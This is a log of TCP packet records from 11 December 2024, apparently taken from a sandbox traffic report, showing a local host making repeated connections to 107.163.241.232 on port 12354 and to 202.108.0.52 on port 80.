Dec 11, 2024 16:28:33.546282053 CET	61095	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:33.546597958 CET	61096	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.614356041 CET	12354	60991	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.628328085 CET	12354	60991	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.660761118 CET	12354	60991	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.665811062 CET	80	61095	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:33.665887117 CET	61095	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:33.665982962 CET	12354	61096	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.666163921 CET	61096	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.667479038 CET	61095	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:33.667643070 CET	61096	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.785752058 CET	80	61095	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:33.785809040 CET	61095	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:33.785866022 CET	12354	61096	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.785949945 CET	61096	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.786237955 CET	61095	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:33.786756039 CET	80	61095	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:33.786802053 CET	12354	61096	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.790616035 CET	61096	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.791191101 CET	61224	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.905153990 CET	80	61095	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:33.905296087 CET	12354	61096	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.905450106 CET	80	61095	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:33.909816027 CET	12354	61096	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.910801888 CET	12354	61224	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.910881996 CET	61224	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.952024937 CET	61224	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:34.030328035 CET	12354	61224	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:34.030388117 CET	61224	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:34.054377079 CET	61249	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:34.055111885 CET	61224	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:34.055917978 CET	61250	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:34.072016001 CET	12354	61224	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:34.150113106 CET	12354	61224	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:34.177361012 CET	80	61249	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:34.178663015 CET	12354	61224	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:34.179248095 CET	12354	61250	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:34.179306030 CET	61250	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:34.180198908 CET	61249	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:34.299527884 CET	12354	61250	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:34.300297022 CET	61250	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:34.300673962 CET	80	61249	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:34.304702997 CET	61249	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:34.334975958 CET	61249	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:34.334975958 CET	61249	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:34.343058109 CET	61250	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:34.343151093 CET	61250	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:34.454852104 CET	80	61249	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:34.454910040 CET	80	61249	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:34.462913990 CET	12354	61250	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:34.462933064 CET	12354	61250	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:34.520186901 CET	61253	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:34.639463902 CET	12354	61253	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:34.640321970 CET	61253	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:34.680152893 CET	61253	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:34.688891888 CET	61255	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:34.760082960 CET	12354	61253	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:34.760346889 CET	61253	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:34.760906935 CET	61296	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:34.761064053 CET	61253	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:34.799681902 CET	12354	61253	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:34.809154987 CET	80	61255	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:34.809277058 CET	61255	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:34.809637070 CET	61255	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:34.880569935 CET	12354	61253	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:34.880829096 CET	12354	61296	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:34.880852938 CET	12354	61253	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:34.881047964 CET	61296	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:34.907130957 CET	61296	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:34.929691076 CET	80	61255	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:34.931951046 CET	80	61255	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:34.932249069 CET	61255	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:34.941757917 CET	61255	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:35.002751112 CET	12354	61296	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:35.002861977 CET	61296	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:35.003736019 CET	61296	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:35.004420996 CET	61444	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:35.027688980 CET	12354	61296	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:35.051600933 CET	80	61255	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:35.056313992 CET	61513	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:35.061369896 CET	80	61255	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:35.122183084 CET	12354	61296	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:35.125930071 CET	12354	61296	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:35.125942945 CET	12354	61444	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:35.126039982 CET	61444	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:35.126882076 CET	61444	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:35.145396948 CET	12354	60694	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:35.145504951 CET	60694	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:35.146591902 CET	60694	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:35.146933079 CET	61642	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:35.175932884 CET	80	61513	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:35.176035881 CET	61513	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:35.176661968 CET	61513	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:35.246324062 CET	12354	61444	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:35.265942097 CET	12354	60694	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:35.266443968 CET	12354	61642	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:35.270272970 CET	61642	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:35.270580053 CET	61642	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:35.295989990 CET	80	61513	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:35.296070099 CET	61513	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:35.296382904 CET	80	61513	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:35.296977043 CET	61513	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:35.390508890 CET	12354	61642	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:35.415364981 CET	80	61513	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:35.418401003 CET	80	61513	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:35.427328110 CET	61939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:35.547632933 CET	80	61939	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:35.547844887 CET	61939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:35.548269033 CET	61939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:35.667629004 CET	80	61939	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:35.667639971 CET	80	61939	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:35.776489019 CET	62141	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:35.895761013 CET	80	62141	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:35.895827055 CET	62141	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:35.900702000 CET	62141	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:36.015355110 CET	80	62141	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:36.016189098 CET	62141	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:36.017054081 CET	62141	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:36.019923925 CET	80	62141	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:36.135967970 CET	80	62141	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:36.136979103 CET	80	62141	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:36.138382912 CET	62349	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:36.259362936 CET	80	62349	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:36.259443998 CET	62349	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:36.259941101 CET	62349	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:36.385195017 CET	80	62349	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:36.385270119 CET	62349	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:36.385373116 CET	80	62349	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:36.386018038 CET	62349	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:36.493735075 CET	62661	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:36.504517078 CET	80	62349	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:36.505204916 CET	80	62349	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:36.614706039 CET	80	62661	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:36.614851952 CET	62661	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:36.625050068 CET	62661	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:36.736525059 CET	80	62661	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:36.736675978 CET	62661	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:36.737569094 CET	62661	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:36.745661974 CET	80	62661	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:36.856021881 CET	80	62661	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:36.856986046 CET	80	62661	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:36.939446926 CET	61642	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:36.939496994 CET	61444	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:36.939964056 CET	63052	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:37.059473038 CET	12354	63052	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:37.059762955 CET	63052	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:37.179455996 CET	12354	63052	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:37.180308104 CET	63052	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:37.368508101 CET	63052	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:37.368508101 CET	63052	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:37.369211912 CET	63054	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:37.487974882 CET	12354	63052	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:37.487988949 CET	12354	63052	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:37.488532066 CET	80	63054	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:37.488691092 CET	63054	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:37.501399040 CET	63056	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:37.551738024 CET	63054	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:37.555418968 CET	63057	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:37.608165979 CET	80	63054	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:37.608247995 CET	63054	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:37.609492064 CET	63054	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:37.620871067 CET	12354	63056	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:37.620974064 CET	63056	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:37.621119022 CET	63056	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:37.671183109 CET	80	63054	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:37.675663948 CET	12354	63057	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:37.675745010 CET	63057	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:37.676244020 CET	63057	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:37.727885962 CET	80	63054	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:37.728887081 CET	80	63054	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:37.730535030 CET	63121	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:37.740351915 CET	12354	63056	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:37.795141935 CET	12354	63057	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:37.795195103 CET	63057	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:37.795490980 CET	63057	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:37.795495033 CET	12354	63057	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:37.796324015 CET	63169	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:37.849978924 CET	80	63121	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:37.850089073 CET	63121	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:37.850421906 CET	63121	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:37.917088032 CET	12354	63057	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:37.917109966 CET	12354	63057	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:37.917145967 CET	12354	63169	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:37.917213917 CET	63169	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:37.917359114 CET	63169	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:37.970483065 CET	80	63121	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:37.970496893 CET	80	63121	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:37.970546961 CET	63121	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:37.970691919 CET	63121	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:38.036731005 CET	12354	63169	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:38.036916018 CET	12354	63169	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:38.038661003 CET	63243	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:38.089898109 CET	63289	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:38.091515064 CET	80	63121	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:38.091562986 CET	80	63121	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:38.158137083 CET	12354	63243	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:38.158205986 CET	63243	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:38.174489021 CET	63243	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:38.209161043 CET	80	63289	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:38.209239006 CET	63289	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:38.212726116 CET	63289	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:38.293740988 CET	12354	63243	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:38.328582048 CET	80	63289	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:38.328655958 CET	63289	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:38.328897953 CET	63289	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:38.331990957 CET	80	63289	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:38.447938919 CET	80	63289	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:38.447977066 CET	63545	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:38.448069096 CET	80	63289	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:38.567365885 CET	80	63545	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:38.567553997 CET	63545	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:38.568180084 CET	63545	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:38.687438965 CET	80	63545	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:39.738212109 CET	12354	63056	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:39.738265991 CET	63056	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:39.740628958 CET	63056	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:39.741029978 CET	64807	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:39.860862970 CET	12354	63056	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:39.861110926 CET	12354	64807	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:39.861177921 CET	64807	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:39.861813068 CET	64807	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:39.980508089 CET	12354	64807	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:39.980567932 CET	64807	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:39.981019020 CET	12354	64807	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:39.981148958 CET	64807	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:39.981697083 CET	64884	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:40.099776030 CET	12354	64807	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:40.100337029 CET	12354	64807	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:40.100917101 CET	12354	64884	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:40.101154089 CET	64884	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:40.106261015 CET	64884	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:40.220736027 CET	12354	64884	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:40.220784903 CET	64884	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:40.225472927 CET	12354	64884	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:40.254775047 CET	64884	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:40.255418062 CET	64903	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:40.272279978 CET	12354	63243	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:40.272339106 CET	63243	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:40.280670881 CET	63243	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:40.340450048 CET	12354	64884	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:40.370193958 CET	64915	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:40.374289036 CET	12354	64884	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:40.375277996 CET	12354	64903	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:40.375591993 CET	64903	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:40.375591993 CET	64903	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:40.400146961 CET	12354	63243	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:40.691817999 CET	12354	64915	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:40.691843033 CET	12354	64903	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:40.692449093 CET	64915	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:40.696223021 CET	64915	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:40.819498062 CET	12354	64915	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:41.365247965 CET	63545	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:41.365251064 CET	64903	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:41.365353107 CET	64915	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:41.366380930 CET	49638	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:41.485802889 CET	12354	49638	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:41.485877991 CET	49638	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:41.486129999 CET	49731	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:41.486898899 CET	49732	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:41.487438917 CET	49638	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:41.605539083 CET	12354	49731	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:41.605668068 CET	49731	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:41.606271982 CET	49731	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:41.607340097 CET	80	49732	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:41.607379913 CET	12354	49638	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:41.607448101 CET	49732	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:41.607769012 CET	49732	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:41.725769043 CET	12354	49731	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:41.727008104 CET	80	49732	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:41.727021933 CET	80	49732	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:41.727077961 CET	49732	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:41.727967024 CET	49732	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:41.839333057 CET	50028	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:41.848274946 CET	80	49732	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:41.848951101 CET	80	49732	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:41.958678007 CET	80	50028	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:41.959062099 CET	50028	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:41.965310097 CET	50028	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:42.078510046 CET	80	50028	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:42.078586102 CET	50028	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:42.079130888 CET	50028	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:42.084640980 CET	80	50028	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:42.196985006 CET	50229	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:42.198410034 CET	80	50028	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:42.198766947 CET	80	50028	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:42.316920996 CET	80	50229	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:42.317007065 CET	50229	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:42.317285061 CET	50229	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:42.436520100 CET	80	50229	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:42.436531067 CET	80	50229	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:42.555977106 CET	50662	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:42.676698923 CET	80	50662	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:42.677417994 CET	50662	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:42.677740097 CET	50662	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:42.797404051 CET	80	50662	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:42.797416925 CET	80	50662	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:42.917073011 CET	50939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:43.039562941 CET	80	50939	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:43.039818048 CET	50939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:43.040446997 CET	50939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:43.159364939 CET	80	50939	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:43.159547091 CET	50939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:43.159756899 CET	80	50939	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:43.162969112 CET	50939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:43.279381037 CET	80	50939	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:43.282691002 CET	80	50939	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:43.296185970 CET	51412	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:43.415565014 CET	80	51412	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:43.415672064 CET	51412	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:43.415949106 CET	51412	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:43.535653114 CET	80	51412	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:43.535666943 CET	80	51412	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:43.597259998 CET	12354	49638	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:43.597326040 CET	49638	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:43.597507000 CET	49638	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:43.598329067 CET	51668	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:43.651278019 CET	51715	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:43.717418909 CET	12354	49638	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:43.717669964 CET	12354	51668	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:43.717879057 CET	51668	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:43.722807884 CET	12354	49731	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:43.722868919 CET	49731	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:43.736905098 CET	51668	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:43.736916065 CET	49731	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:43.770822048 CET	80	51715	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:43.770894051 CET	51715	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:43.777698994 CET	51765	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:43.778695107 CET	51715	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:43.837347984 CET	12354	51668	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:43.837414980 CET	51668	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:43.856547117 CET	12354	51668	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:43.856585026 CET	12354	49731	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:43.896995068 CET	12354	51765	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:43.898199081 CET	80	51715	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:43.898233891 CET	51765	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:43.902877092 CET	51668	12354	192.168.2.5	107.163.241.232
